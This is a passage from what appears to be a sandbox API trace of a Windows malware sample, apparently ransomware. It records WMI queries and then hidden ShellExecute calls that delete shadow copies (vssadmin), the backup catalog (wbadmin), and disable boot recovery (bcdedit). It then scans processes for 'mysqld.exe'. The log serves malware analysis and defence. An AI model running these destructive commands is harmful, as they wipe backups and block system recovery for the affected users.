wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e06c) returned 0 [0080.510] PeekMessageA (in: lpMsg=0x18e06c, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e06c) returned 0 [0080.512] IUnknown:Release (This=0x377d410) returned 0x4 [0080.512] WbemLocator:IUnknown:Release (This=0x14b255c) returned 0x3 [0080.512] IUnknown:Release (This=0x377bb40) returned 0x2 [0080.512] IUnknown:AddRef (This=0x377d40c) returned 0x3 [0080.512] IUnknown:Release (This=0x377bb3c) returned 0x2 [0080.512] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x18ea2c | out: pperrinfo=0x18ea2c*=0x0) returned 0x1 [0080.512] WbemLocator:IUnknown:Release (This=0x377d194) returned 0x2 [0080.512] IUnknown:Release (This=0x14a8f3c) returned 0x1 [0080.513] LoadRegTypeLib (in: rguid=0x744d364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x18ecbc*=0x0 | out: pptlib=0x18ecbc*=0x146bd90) returned 0x0 [0080.514] ITypeLib:GetTypeInfoOfGuid (in: This=0x146bd90, GUID=0x377c7f8*(Data1=0x76a6415f, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), ppTInfo=0x377c7ec | out: ppTInfo=0x377c7ec*=0x14a8fec) returned 0x0 [0080.514] IUnknown:Release (This=0x146bd90) returned 0x2 [0080.514] IUnknown:AddRef (This=0x14a8fec) returned 0x2 [0080.514] DispGetIDsOfNames (in: ptinfo=0x14a8fec, rgszNames=0x18ed18*="Count", cNames=0x1, rgdispid=0x18ed1c | out: rgdispid=0x18ed1c*=1) returned 0x0 [0080.514] IUnknown:Release (This=0x14a8fec) returned 0x1 [0080.514] IUnknown:AddRef (This=0x14a8fec) returned 0x2 [0080.514] ITypeInfo:LocalInvoke (This=0x14a8fec) returned 0x0 [0080.514] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0080.514] GetCurrentThreadId () returned 0x9ec [0080.514] IUnknown:AddRef (This=0x377d40c) returned 0x3 [0080.514] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0080.515] GetCurrentThreadId () returned 0x9ec [0080.515] IEnumWbemClassObject:Clone (in: This=0x377d40c, ppEnum=0x18eb44 | out: ppEnum=0x18eb44*=0x377d4d4) returned 0x0 [0080.515] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.515] GetCurrentThreadId () returned 0x9ec [0080.515] GetCurrentThreadId () returned 0x9ec [0080.515] GetCurrentThreadId () returned 0x9ec [0080.515] PeekMessageA (in: lpMsg=0x18e378, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e378) returned 0 [0080.515] PeekMessageA (in: lpMsg=0x18e378, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e378) returned 0 [0080.515] PeekMessageA (in: lpMsg=0x18e378, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e378) returned 0 [0080.516] IUnknown:QueryInterface (in: This=0x377d40c, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18eafc | out: ppvObject=0x18eafc*=0x377d410) returned 0x0 [0080.517] IClientSecurity:QueryBlanket (in: This=0x377d410, pProxy=0x377d40c, pAuthnSvc=0x18eaec, pAuthzSvc=0x18eaf0, pServerPrincName=0x0, pAuthnLevel=0x18eb0c, pImpLevel=0x18eb10, pAuthInfo=0x0, pCapabilites=0x18eb04 | out: pAuthnSvc=0x18eaec*=0xa, pAuthzSvc=0x18eaf0*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18eb0c*=0x6, pImpLevel=0x18eb10*=0x3, pAuthInfo=0x0, pCapabilites=0x18eb04*=0x20) returned 0x0 [0080.517] IUnknown:Release (This=0x377d410) returned 0x3 [0080.517] IUnknown:QueryInterface (in: This=0x377d4d4, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ea48 | out: ppvObject=0x18ea48*=0x377d4d8) returned 0x0 [0080.517] IClientSecurity:QueryBlanket (in: This=0x377d4d8, pProxy=0x377d4d4, pAuthnSvc=0x18ea6c, pAuthzSvc=0x18ea5c, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18ea6c*=0xa, pAuthzSvc=0x18ea5c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0080.517] IUnknown:Release (This=0x377d4d8) returned 0x1 [0080.517] IUnknown:QueryInterface (in: This=0x377d4d4, riid=0x744d34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ea20 | out: ppvObject=0x18ea20*=0x14666c4) returned 0x0 [0080.517] IUnknown:QueryInterface (in: This=0x377d4d4, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ea24 | out: ppvObject=0x18ea24*=0x377d4d8) returned 0x0 [0080.517] IClientSecurity:SetBlanket (This=0x377d4d8, pProxy=0x377d4d4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0080.517] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.517] GetCurrentThreadId () returned 0x9ec [0080.517] GetCurrentThreadId () returned 0x9ec [0080.517] GetCurrentThreadId () returned 0x9ec [0080.518] PeekMessageA (in: lpMsg=0x18e098, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e098) returned 0 [0080.518] PeekMessageA (in: lpMsg=0x18e098, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e098) returned 0 [0080.518] PeekMessageA (in: lpMsg=0x18e098, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e098) returned 0 [0080.519] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.519] GetCurrentThreadId () returned 0x9ec [0080.519] GetCurrentThreadId () returned 0x9ec [0080.519] GetCurrentThreadId () returned 0x9ec [0080.519] PeekMessageA (in: lpMsg=0x18e1dc, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e1dc) returned 0 [0080.519] PeekMessageA (in: lpMsg=0x18e1dc, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e1dc) returned 0 [0080.519] PeekMessageA (in: lpMsg=0x18e1dc, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e1dc) returned 0 [0080.520] IUnknown:Release (This=0x377d4d8) returned 0x2 [0080.520] WbemLocator:IUnknown:Release (This=0x14666c4) returned 0x1 [0080.520] IEnumWbemClassObject:Reset (This=0x377d4d4) returned 0x0 [0080.520] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.520] GetCurrentThreadId () returned 0x9ec [0080.520] GetCurrentThreadId () returned 0x9ec [0080.520] GetCurrentThreadId () returned 0x9ec [0080.521] PeekMessageA (in: lpMsg=0x18e380, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e380) returned 0 [0080.521] PeekMessageA (in: lpMsg=0x18e380, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e380) returned 0 [0080.521] PeekMessageA (in: lpMsg=0x18e380, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e380) returned 0 [0080.521] IEnumWbemClassObject:Next (in: This=0x377d4d4, lTimeout=-1, uCount=0x1, apObjects=0x18eb34, puReturned=0x18eb38 | out: apObjects=0x18eb34*=0x0, puReturned=0x18eb38*=0x0) returned 0x1 [0080.522] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0080.522] GetCurrentThreadId () returned 0x9ec [0080.522] GetCurrentThreadId () returned 0x9ec [0080.522] GetCurrentThreadId () returned 0x9ec [0080.522] PeekMessageA (in: lpMsg=0x18e32c, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e32c) returned 0 [0080.522] PeekMessageA (in: lpMsg=0x18e32c, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e32c) returned 0 [0080.522] PeekMessageA (in: lpMsg=0x18e32c, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e32c) returned 0 [0080.721] IUnknown:Release (This=0x377d4d4) returned 0x0 [0080.722] IUnknown:Release (This=0x377d40c) returned 0x2 [0080.722] IUnknown:Release (This=0x14a8fec) returned 0x1 [0080.723] WbemLocator:IUnknown:Release (This=0x377d194) returned 0x1 [0080.723] WbemLocator:IUnknown:Release (This=0x377d194) returned 0x0 [0080.724] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.724] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.724] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.724] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.724] IUnknown:Release (This=0x14a8f3c) returned 0x0 [0080.724] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.724] IUnknown:Release (This=0x377d40c) returned 0x1 [0080.724] IUnknown:Release (This=0x377d40c) returned 0x0 [0080.726] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.726] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.726] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.726] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.726] IUnknown:Release (This=0x14a8fec) returned 0x0 [0080.727] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0080.728] SysStringLen (param_1="delete shadows /all /quiet") returned 0x1a [0080.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="delete shadows /all /quiet", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0080.728] SysStringLen (param_1="delete shadows /all /quiet") returned 0x1a [0080.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="delete shadows /all /quiet", cchWideChar=27, lpMultiByteStr=0x1436794, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete shadows /all /quiet", lpUsedDefaultChar=0x0) returned 27 [0080.728] SysStringLen (param_1="vssadmin.exe") returned 0xc [0080.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssadmin.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0080.728] SysStringLen (param_1="vssadmin.exe") returned 0xc [0080.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssadmin.exe", cchWideChar=13, lpMultiByteStr=0x143676c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin.exe", lpUsedDefaultChar=0x0) returned 13 [0080.729] SysStringLen (param_1="open") returned 0x4 [0080.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0080.729] SysStringLen (param_1="open") returned 0x4 [0080.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=5, lpMultiByteStr=0x1436834, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open", lpUsedDefaultChar=0x0) returned 5 [0080.729] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="vssadmin.exe", lpParameters="delete shadows /all /quiet", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0080.730] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0081.485] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0081.485] GetLastError () returned 0x0 [0081.485] SysStringLen (param_1="delete catalog -quiet") returned 0x15 [0081.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="delete catalog -quiet", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0081.486] SysStringLen (param_1="delete catalog -quiet") returned 0x15 [0081.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="delete catalog -quiet", cchWideChar=22, lpMultiByteStr=0x14b5ed4, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete catalog -quiet", lpUsedDefaultChar=0x0) returned 22 [0081.486] SysStringLen (param_1="wbadmin.exe") returned 0xb [0081.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbadmin.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.486] SysStringLen (param_1="wbadmin.exe") returned 0xb [0081.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbadmin.exe", cchWideChar=12, lpMultiByteStr=0x1430114, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbadmin.exe", lpUsedDefaultChar=0x0) returned 12 [0081.487] SysStringLen (param_1="open") returned 0x4 [0081.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0081.487] SysStringLen (param_1="open") returned 0x4 [0081.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=5, lpMultiByteStr=0x1436834, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open", lpUsedDefaultChar=0x0) returned 5 [0081.487] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="wbadmin.exe", lpParameters="delete catalog -quiet", lpDirectory=0x0, nShowCmd=0) returned 0x2 [0081.487] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0081.496] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0081.496] GetLastError () returned 0x2 [0081.496] SysStringLen (param_1="delete catalog -quiet") returned 0x15 [0081.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="delete catalog -quiet", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0081.496] SysStringLen (param_1="delete catalog -quiet") returned 0x15 [0081.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="delete catalog -quiet", cchWideChar=22, lpMultiByteStr=0x1436834, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete catalog -quiet", lpUsedDefaultChar=0x0) returned 22 [0081.496] SysStringLen (param_1="wbadmin.exe") returned 0xb [0081.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbadmin.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.496] SysStringLen (param_1="wbadmin.exe") returned 0xb [0081.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbadmin.exe", cchWideChar=12, lpMultiByteStr=0x1430114, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbadmin.exe", lpUsedDefaultChar=0x0) returned 12 [0081.496] SysStringLen (param_1="open") returned 0x4 [0081.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0081.496] SysStringLen (param_1="open") returned 0x4 [0081.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=5, lpMultiByteStr=0x14b5ed4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open", lpUsedDefaultChar=0x0) returned 5 [0081.497] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="wbadmin.exe", lpParameters="delete catalog -quiet", lpDirectory=0x0, nShowCmd=0) returned 0x2 [0081.497] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0081.502] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0081.502] GetLastError () returned 0x2 [0081.503] SysStringLen (param_1="/set {default} bootstatuspolicy ignoreallfailures") returned 0x31 [0081.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/set {default} bootstatuspolicy ignoreallfailures", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0081.503] SysStringLen (param_1="/set {default} bootstatuspolicy ignoreallfailures") returned 0x31 [0081.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/set {default} bootstatuspolicy ignoreallfailures", cchWideChar=50, lpMultiByteStr=0x14b4794, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/set {default} bootstatuspolicy ignoreallfailures", lpUsedDefaultChar=0x0) returned 50 [0081.503] SysStringLen (param_1="bcdedit.exe") returned 0xb [0081.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcdedit.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.504] SysStringLen (param_1="bcdedit.exe") returned 0xb [0081.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcdedit.exe", cchWideChar=12, lpMultiByteStr=0x14b5ed4, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcdedit.exe", lpUsedDefaultChar=0x0) returned 12 [0081.504] SysStringLen (param_1="open") returned 0x4 [0081.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0081.504] SysStringLen (param_1="open") returned 0x4 [0081.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=5, lpMultiByteStr=0x1430114, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open", lpUsedDefaultChar=0x0) returned 5 [0081.504] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="bcdedit.exe", lpParameters="/set {default} bootstatuspolicy ignoreallfailures", lpDirectory=0x0, nShowCmd=0) returned 0x2 [0081.504] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0081.510] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0081.510] GetLastError () returned 0x2 [0081.510] SysStringLen (param_1="/set {default} recoveryenabled no") returned 0x21 [0081.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/set {default} recoveryenabled no", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0081.510] SysStringLen (param_1="/set {default} recoveryenabled no") returned 0x21 [0081.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/set {default} recoveryenabled no", cchWideChar=34, lpMultiByteStr=0x14b4794, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/set {default} recoveryenabled no", lpUsedDefaultChar=0x0) returned 34 [0081.510] SysStringLen (param_1="bcdedit.exe") returned 0xb [0081.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcdedit.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.511] SysStringLen (param_1="bcdedit.exe") returned 0xb [0081.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcdedit.exe", cchWideChar=12, lpMultiByteStr=0x1430114, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcdedit.exe", lpUsedDefaultChar=0x0) returned 12 [0081.511] SysStringLen (param_1="open") returned 0x4 [0081.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0081.511] SysStringLen (param_1="open") returned 0x4 [0081.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=5, lpMultiByteStr=0x14b5ed4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open", lpUsedDefaultChar=0x0) returned 5 [0081.511] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="bcdedit.exe", lpParameters="/set {default} recoveryenabled no", lpDirectory=0x0, nShowCmd=0) returned 0x2 [0081.511] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0081.516] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0081.517] GetLastError () returned 0x2 [0081.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=128, lpMultiByteStr=0x18ec00, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 128 [0081.517] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.517] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0081.518] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.518] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0081.518] GetVersionExA (in: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion=" ") | out: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0081.518] GetLastError () returned 0x0 [0081.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ec00, cbMultiByte=128, lpWideCharStr=0x18eca0, cchWideChar=128 | out: lpWideCharStr="Service Pack 1") returned 128 [0081.518] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.701] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0081.701] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.701] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0081.702] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x18eb08) returned 0x27c [0081.711] GetLastError () returned 0x0 [0081.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=260, lpMultiByteStr=0x18e9fc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 260 [0081.711] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.712] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0081.712] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.712] GetProcAddress (hModule=0x76d30000, lpProcName="Process32First") returned 0x76d68ae7 [0081.712] Process32First (in: hSnapshot=0x27c, lppe=0x18e9d8 | out: lppe=0x18e9d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.713] GetLastError () returned 0x0 [0081.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e9fc, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="[System Process]") returned 260 [0081.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.713] CharLowerBuffW (in: lpsz="[System Process]", cchLength=0x11 | out: lpsz="[system process]") returned 0x11 [0081.713] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.713] VarBstrCmp (bstrLeft="m process]", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="[System Process]", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[System Process]", lpUsedDefaultChar=0x0) returned 260 [0081.714] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.714] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 